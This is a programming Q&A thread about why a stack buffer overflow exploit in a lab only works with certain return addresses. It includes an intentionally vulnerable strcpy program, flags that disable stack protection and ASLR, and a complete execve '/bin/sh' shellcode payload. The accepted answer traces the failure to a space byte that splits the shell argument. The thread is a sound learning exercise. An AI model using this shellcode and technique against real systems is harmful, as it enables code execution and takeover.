0

I'm trying to understand why in order to successfully execute my shellcode payload, I need to use a specific return address inside the stack.

If I use a different address that is still inside the stack, I either get a SIGSEGV segmentation fault or a SIGILL illegal instruction.


First of all, I have deactivated ASLR on my OS by doing this :

echo 0 > /proc/sys/kernel/randomize_va_space

Here is my vulnerable C code :

#include <string.h>
#include <stdio.h>
#include <stdlib.h>

void func (char *arg) {
  char buffer[64];
  strcpy(buffer, arg);
  printf("%s\n", buffer);
}

int main(int argc, char *argv[])
{
  func(argv[1]);
  return 0;
}

I compiled it in 32 bit using gcc on a 64 bit machine with the following line :

gcc -z execstack -m32 buffer.c -g -o buffer -fno-stack-protector

I thus have an executable stack so that the shellcode is executable and also no stack protector to allow stack smashing.


Here is my shellcode (NOP|shellcode-payload|return-address) :

"\x90"*31 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\x30\xd5\xff\xff"

I feed this shellcode as an input to the buffer binary using Python2 to gdb as follow :

gdb --args ./buffer $(python2 -c 'print("\x90"*31 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" + "\x30\xd5\xff\xff")')

By putting a break func in gdb, I can print the following bytes showing a bit of the stack.

bytes in the stack

If I put at the end of the shellcode any return address that is not in the range : 0xffffd521-0xffffd539. I get either a SIGSEGV or SIGILL why is that ?

For instance, 0xffffd520 is a valid address inside the stack, for what reason it does not work ?

AkechiShiro
  • 67
  • 1
  • 10
  • Because it is undefined behaviour. And at that point, trying to reason about it is moot. These types of hacks, when done correctly, still require you to try several times until you get lucky and it does what you expected your broken code to do. – Kaihaku Sep 19 '21 at 17:31
  • It's hard to say why it doesn't work. You are most likely jumping into data or (possibly unaligned) instructions in the middle of your shellcode. Note that changing the size of your `argv[1]` will effectively move stuff around on the stack too, since program arguments are stored at the bottom of the stack. – Marco Bonelli Sep 19 '21 at 17:32
  • 1
    `0xffffd520` has a space as one of its bytes (0x20), and `$(...)` in shell splits on spaces. So with such an address, I suspect you aren't getting your entire payload into `argv[1]`. Try checking the values of `argc` and `argv` within the program to confirm. You need to write `"$(...)"`. – Nate Eldredge Sep 19 '21 at 18:51
  • @NateEldredge You were right about the space, argc is equal to 3 if I use `$(...)` but it goes down to 2 if I use `"$(...)"`. Also `argv` is cut at the end for the return address. – AkechiShiro Sep 19 '21 at 18:59
  • Could you add your comment as an answer please @NateEldredge ? – AkechiShiro Sep 19 '21 at 19:00

1 Answers1

2

It's not really anything to do with your program or your shellcode, but with the way you are running it. $(...) in shell splits its result into multiple arguments at whitespace, so if the output of python contains whitespace bytes, argv[1] will only get the part of the payload before the first such byte. The address 0xffffd520 has 0x20, space, as one of its bytes, so that'll result in argv[1] containing a truncated version of your payload, which in particular won't contain the correct return address at all, hence crashing.

You should use quotes to force the entire output to be a single argument: "$(python2 ... )"

Nate Eldredge
  • 48,811
  • 6
  • 54
  • 82